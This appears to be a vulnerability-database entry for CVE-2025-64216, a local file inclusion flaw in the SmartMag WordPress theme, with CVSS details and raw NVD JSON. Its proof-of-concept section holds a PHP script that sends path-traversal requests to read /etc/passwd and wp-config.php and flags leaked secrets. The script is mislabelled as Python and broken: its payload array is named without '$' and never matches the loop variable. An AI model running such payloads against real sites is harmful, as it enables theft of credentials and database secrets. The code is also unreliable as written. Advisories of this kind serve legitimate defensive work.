Security Vulnerability Report
中文
CVE-2025-64216 CVSS 7.5 HIGH

CVE-2025-64216

Published: 2025-10-29 09:15:43
Last Modified: 2026-04-15 00:35:42

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in ThemeSphere SmartMag smart-mag allows PHP Local File Inclusion.This issue affects SmartMag: from n/a through <= 10.3.0.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

SmartMag <= 10.3.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-64216 PoC - SmartMag Theme Local File Inclusion * Target: ThemeSphere SmartMag WordPress Theme <= 10.3.0 * Vulnerability: Improper Control of Filename for Include/Require Statement * * Usage: php poc.php <target_url> <vulnerable_param> * Example: php poc.php http://target.com/ theme */ $targetUrl = $argv[1] ?? ''; $vulnParam = $argv[2] ?? 'template'; if (empty($targetUrl)) { echo "Usage: php poc.php <target_url> [parameter_name]\n"; echo "Example: php poc.php http://victim.com/ template\n"; exit(1); } // Test LFI with common sensitive files evil_files = [ '/etc/passwd' => 'Read system users', '../../../../wp-config.php' => 'Read WordPress config', '../../wp-config.php' => 'Read WordPress config (alternative path)', '/etc/hosts' => 'Read hosts file', '../../../../etc/passwd' => 'Read passwd with path traversal' ]; echo "[*] CVE-2025-64216 SmartMag LFI PoC\n"; echo "[*] Target: {$targetUrl}\n"; echo "[*] Testing file inclusion...\n\n"; foreach ($files_to_test as $file => $description) { $encoded_file = urlencode($file); $test_url = $targetUrl . "?{$vulnParam}={$encoded_file}"; echo "[+] Testing: {$file} ({$description})\n"; echo "[+] URL: {$test_url}\n"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $test_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code == 200 && !empty($response)) { echo "[!] Potential file inclusion detected!\n"; echo "[!] Response length: " . strlen($response) . " bytes\n"; if (strpos($response, 'root:') !== false || strpos($response, 'DB_NAME') !== false) { echo "[!] VULNERABLE - Sensitive data leaked!\n"; } } echo "\n"; } echo "[*] Scan complete.\n"; echo "[*] Note: Manual verification recommended for confirmed exploitation.\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64216", "sourceIdentifier": "[email protected]", "published": "2025-10-29T09:15:42.687", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in ThemeSphere SmartMag smart-mag allows PHP Local File Inclusion.This issue affects SmartMag: from n/a through <= 10.3.0."}, {"lang": "es", "value": "La vulnerabilidad de (Inclusión Remota de Ficheros PHP) Control inadecuado del nombre de fichero para la declaración Include/Require en un programa PHP en ThemeSphere SmartMag smart-mag permite la inclusión local de ficheros PHP. Este problema afecta a SmartMag: desde n/a hasta menor igual que 10.3.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/smart-mag/vulnerability/wordpress-smartmag-theme-10-3-0-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}